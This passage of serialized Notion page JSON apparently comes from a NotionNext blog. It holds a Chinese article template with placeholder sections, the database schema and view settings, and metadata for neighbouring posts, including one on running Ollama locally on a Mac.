7d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"493c55bd-4441-4c1b-9ed3-3727291c7165":{"value":{"id":"493c55bd-4441-4c1b-9ed3-3727291c7165","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["231b50b7-60fb-44fb-8978-2b12221a700a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"fbc30a91-d324-4d91-b94b-2e2f627e7191","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fbc30a91-d324-4d91-b94b-2e2f627e7191"}},"231b50b7-60fb-44fb-8978-2b12221a700a":{"value":{"id":"231b50b7-60fb-44fb-8978-2b12221a700a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"97bc954b-3123-4311-916d-1dc564f3e629","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"493c55bd-4441-4c1b-9ed3-3727291c7165","parent_table":"block","alive":true,"copied_from":"97bc954b-3123-4311-916d-1dc564f3e629"}},"caf1ea9d-0926-41f4-8e85-090005e6e233":{"value":{"id":"caf1ea9d-0926-41f4-8e85-090005e6e233","type":"text","format":{"copied_from_pointer":{"id":"106a5d1b-ad19-4008-9a68-6d29788ad7ab","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"106a5d1b-ad19-4008-9a68-6d29788ad7ab"}},"49531064-73d7-4a2a-806a-aa52e6c02baf":{"value":{"id":"49531064-73d7-4a2a-806a-aa52e6c02baf","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0"}},"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1":{"value":{"id":"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"9fb47e91-4cd8-4773-b883-7d51ef688cad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9fb47e91-4cd8-4773-b883-7d51ef688cad"}},"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf":{"value":{"id":"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"fa7c273f-dd86-48c3-a29a-1312f486273f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fa7c273f-dd86-48c3-a29a-1312f486273f"}},"96ece850-8ea7-4392-aa14-5652d12c0e85":{"value":{"id":"96ece850-8ea7-4392-aa14-5652d12c0e85","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"1358a33c-a6af-472b-b8ce-4ef9ae234be5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"1358a33c-a6af-472b-b8ce-4ef9ae234be5"}},"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad":{"value":{"id":"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"877fb635-975e-4861-ab6c-312fa64f506c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"877fb635-975e-4861-ab6c-312fa64f506c"}},"0824d5ea-eb31-48ac-9395-01a217b32b7d":{"value":{"id":"0824d5ea-eb31-48ac-9395-01a217b32b7d","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"193aeb1c-70d0-4348-9f42-039692abd89e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"193aeb1c-70d0-4348-9f42-039692abd89e"}},"c12fce83-2492-406d-ae08-a07b3da800c0":{"value":{"id":"c12fce83-2492-406d-ae08-a07b3da800c0","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"0feea3ad-52ca-4874-a9d7-349109f3ae25","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"0feea3ad-52ca-4874-a9d7-349109f3ae25"}},"033e1eff-5111-4814-a316-b18a825cd37f":{"value":{"id":"033e1eff-5111-4814-a316-b18a825cd37f","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c"}},"9da00a5e-0324-42dd-951e-4a7f0357a394":{"value":{"id":"9da00a5e-0324-42dd-951e-4a7f0357a394","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"9d718003-3670-4898-bc5f-347e7a352572","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9d718003-3670-4898-bc5f-347e7a352572"}},"1da35185-65c3-4334-9a03-4627538afd8a":{"value":{"id":"1da35185-65c3-4334-9a03-4627538afd8a","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"7279b3b5-6745-4b08-93a6-3523963d454d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7279b3b5-6745-4b08-93a6-3523963d454d"}},"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a":{"value":{"id":"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","type":"text","format":{"copied_from_pointer":{"id":"20ffef44-56b9-4484-bef1-552ac2029985","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"20ffef44-56b9-4484-bef1-552ac2029985"}},"5bee4538-9df1-457d-9698-67f05ee5fb11":{"value":{"id":"5bee4538-9df1-457d-9698-67f05ee5fb11","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"fb47af46-83db-4e8d-aca9-f2fae4100812","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fb47af46-83db-4e8d-aca9-f2fae4100812"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 